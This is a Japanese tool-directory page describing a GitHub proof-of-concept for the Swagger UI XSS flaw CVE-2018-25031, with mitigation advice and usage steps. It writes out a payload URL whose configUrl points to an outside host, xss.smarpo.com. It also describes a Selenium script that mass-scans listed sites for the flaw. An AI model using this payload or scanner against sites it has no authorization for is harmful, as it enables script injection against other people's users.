Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2018-25031 — Pythonベースの概念実証スクリプトで、CVE-2018-25031のSwagger UIにおけるXSS脆弱性を、Seleniumを使用して複数のエンドポイントにわたる自動検出で実証します。 | Kitploit
ツール/GitHubGitHub/lucasrenaa/cve-2018-25031
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティ学習と教育APIセキュリティ
GitHublucasrenaa/cve-2018-25031

CVE-2018-25031

Pythonベースの概念実証スクリプトで、CVE-2018-25031のSwagger UIにおけるXSS脆弱性を、Seleniumを使用して複数のエンドポイントにわたる自動検出で実証します。

リポジトリを見る
132年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

スワガーUIのクロスサイトスクリプティング(CVE-2018-25031)のPOC:PythonのSeleniumを使用

このリポジトリには、Seleniumライブラリを使用してSwagger UIのクロスサイトスクリプティング(XSS)脆弱性の概念実証(POC)を示すPythonスクリプトが含まれています。このPOCの目的は、悪意のあるペイロードを使用してSwagger UIを悪用することで、この脆弱性の影響を受けるサイトを特定することです。

スワガーUIのクロスサイトスクリプティング(XSS)脆弱性

Swagger UIは、ユーザーフレンドリーなインターフェースを介してAPIを表示し操作するために広く使用されているツールです。しかし、バージョン2.9.2では、攻撃者が読み込まれたSwagger UIページに悪意のあるJavaScriptコードを注入できる可能性があるクロスサイトスクリプティング(XSS)脆弱性が確認されました。

XSSは、アプリケーションがユーザー入力データをページに表示する前に適切に検証しない場合に発生します。この場合、攻撃者はSwagger UIの入力フィールドに悪意のあるJavaScriptコードを挿入することで脆弱性を悪用でき、そのコードは同じ侵害されたページにアクセスする他のユーザーのブラウザコンテキストで実行されます。

スワガーUIでのXSSの例

注: 上記の画像は、攻撃者が影響を受けるバージョンのセキュリティ上の欠陥を利用して、Swagger UIにXSSペイロードを挿入する方法の例を示しています。

緩和策と解決策

この脆弱性を緩和する最も効果的な方法は、Swagger UIを影響を受けないバージョンに更新することです。最新のSwagger UIバージョンを確認し、常に最新の状態に保ってください。

Swagger UIを使用またはカスタマイズしたい開発者は、ユーザー入力をインターフェースに表示する前に適切に検証することが不可欠です。ユーザーが挿入したHTMLやJavaScriptを直接レンダリングしないことは、XSS脆弱性を回避するための推奨プラクティスです。

攻撃例

以下は、Swagger UIを使用して脆弱性を悪用する方法の簡略化された例です。

  1. 攻撃者は脆弱なSwagger UIにアクセスします。
  2. 攻撃者はテキストを入力できる入力フィールドを特定します。
  3. 攻撃者はURLにXSSペイロードを注入します。例:http://127.0.0.1:8080/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json
  4. 他のユーザーが同じ侵害されたページにアクセスすると、XSSペイロードがブラウザで実行され、「Vulnerabilidade de XSS」というメッセージのアラートが表示されます。

注意

このセクションは教育および情報提供のみを目的としています。悪意のある違法行為を奨励したり関与したりしないでください。脆弱性を報告する際は、常に責任ある開示の慣行に従ってください。

前提条件

スクリプトを実行する前に、以下の前提条件がインストールされていることを確認してください。

  • Python:マシンにPythonがインストールされていることを確認してください。
  • Selenium:次のコマンドを使用してSeleniumライブラリをインストールします。
    pip install selenium
    
  • ChromeDriver:互換性のあるChromeDriverがインストールされていることを確認してください。ChromeDriverはSeleniumの公式サイトからダウンロードするか、WebDriver Managerなどのパッケージマネージャーを使用できます。

スクリプトの使い方

  1. このリポジトリをマシンにクローンまたはダウンロードします。

  2. sites_para_testar.txtファイルを編集し、テストしたいサイトのURLを1行に1つずつ入力します。

  3. リポジトリフォルダでターミナルを開き、次のコマンドでスクリプトを実行します。

    python main.py
    
  4. スクリプトはsites_para_testar.txtファイルにリストされたサイトを巡回し、そのSwagger UIのURLにアクセスしてXSSアラートが検出されるかどうかを確認します。結果は3つのファイルに記録されます:valido.txt(潜在的に脆弱なURL)、talvezvalido.txt(脆弱である可能性のあるURL)、naovalido.txt(脆弱でないURL)。

スクリプトの理解

このスクリプトはSeleniumライブラリを使用してChromeブラウザとの操作を自動化します。sites_para_testar.txtファイルに設定されたSwagger UIのURLを読み込み、configUrlパラメータに悪意のあるペイロードを追加し、XSSアラートがトリガーされるかどうかを確認します。

スクリプトは以下の手順で動作します。

  1. Seleniumから必要なライブラリとその他の依存関係をインポートします。
  2. SSLおよび証明書エラーを無視するようにChromeDriverのオプションを設定します。
  3. Chromeドライバーを初期化します。
  4. sites_para_testar.txtファイルからテストするサイトを読み込み、それらを反復処理します。
  5. 悪意のあるペイロードを追加した各Swagger UIのURLを開きます。
  6. XSSアラートがトリガーされるかどうかを確認しようとします。
  7. 確認結果に基づいて、URLをvalido.txt、talvezvalido.txt、またはnaovalido.txtファイルに記録します。
  8. Chromeドライバーを終了します。

法的免責事項

このスクリプトは教育およびサイバーセキュリティ意識向上の目的でのみ提供されています。悪意のある目的や違法な目的で使用すべきではありません。作者は、本スクリプトの誤用または使用に起因するいかなる損害についても責任を負いません。

貢献

このスクリプトを改善する方法や提案がある場合は、プルリクエストを作成してください。

ライセンス

このプロジェクトはMITライセンスの下でライセンスされています。

ツールをダウンロード